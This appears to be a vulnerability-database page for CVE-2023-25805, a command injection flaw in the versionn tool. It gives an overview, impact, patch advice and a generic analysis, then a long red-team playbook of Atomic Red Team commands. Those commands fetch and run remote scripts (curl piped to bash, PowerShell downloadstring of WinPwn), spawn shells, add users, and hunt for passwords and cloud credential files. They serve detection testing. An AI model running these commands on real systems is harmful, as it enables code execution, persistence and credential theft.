CVE-2023-25805
Overview
The vulnerability in commenthol versionn is a command injection flaw rooted in improper sanitization of user-supplied input used in system command execution. This occurs within the version information modification functionality, where input parameters are directly passed to shell commands without adequate validation or escaping. The affected component is the versionn software prior to version 1.1.0, which handles batch updates to version metadata across multiple files.
Vulnerability Description
versionn, software for changing version information across multiple files, has a command injection vulnerability in all versions prior to version 1.1.0. This issue is patched in version 1.1.0.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the affected system with the privileges of the versionn process. This can lead to full system compromise, data manipulation, or service disruption. The attack requires only network access and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The critical severity reflects the potential for complete confidentiality, integrity, and availability loss of the impacted environment.
Solution
Users of commenthol versionn should upgrade to version 1.1.0 or later, as this release contains the official fix for the command injection vulnerability. Detailed patch information and instructions are available in the GitHub security advisory GHSA-fj78-2vc5-f6cm (https://github.com/commenthol/versionn/security/advisories/GHSA-fj78-2vc5-f6cm). No alternative mitigations are documented; applying the vendor patch is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command injection vulnerability present in the versionn software allows an attacker to execute arbitrary commands on the host system. This flaw arises from improper validation of user input, enabling malicious actors to manipulate input fields to inject and execute commands that the software processes without adequate sanitization. Specifically, the vulnerability is found in all versions prior to 1.1.0, where user-supplied data is not sufficiently filtered before being passed to the underlying system shell. This oversight can lead to significant security breaches, as it opens the door for attackers to execute commands with the same privileges as the application, potentially compromising the entire system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious input that, when processed by the versionn software, results in the execution of arbitrary commands. For instance, an attacker might utilize a web interface or command-line tool that interacts with versionn, submitting specially crafted input that includes shell metacharacters. Once the command is executed, the attacker can perform actions such as creating new user accounts, accessing sensitive files, or even deploying malware. The ease of exploitation, combined with the high severity of the vulnerability, makes it a prime target for attackers seeking to gain unauthorized access to systems.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on versionn for managing version information across multiple files. If exploited, an attacker could not only compromise sensitive data but also disrupt business operations by altering critical files or deploying malicious software. The potential for data breaches, loss of intellectual property, and reputational damage poses significant business risks. Organizations may face regulatory penalties if they fail to protect sensitive information, and the costs associated with incident response and recovery can be substantial. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability poses a critical threat, necessitating immediate attention from security teams.
To detect and mitigate this vulnerability, organizations should first ensure that they are using version 1.1.0 or later, where the issue has been addressed. Regular software updates and patch management practices are essential to protect against known vulnerabilities. Additionally, organizations should implement input validation and sanitization measures to prevent command injection attacks in any application that processes user input. Employing web application firewalls (WAFs) can also help detect and block malicious input before it reaches the application layer. Security teams should conduct regular vulnerability assessments and penetration testing to identify and remediate potential weaknesses in their systems.
In conclusion, the command injection vulnerability in versionn represents a significant threat to organizations that utilize this software. The potential for exploitation, coupled with the severe impact on business operations and data security, underscores the importance of timely patching and robust security practices. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, organizations can better protect themselves against the risks associated with command injection attacks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Versionn Project | Versionn | All |
cpe:2.3:a:versionn_project:versionn:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-25805 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/commenthol/versionn/security/advisories/GHSA-fj78-2vc5-f6cm |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/commenthol/versionn/commit/2ca128823efe962b37f2698f0eb530c2b124842d |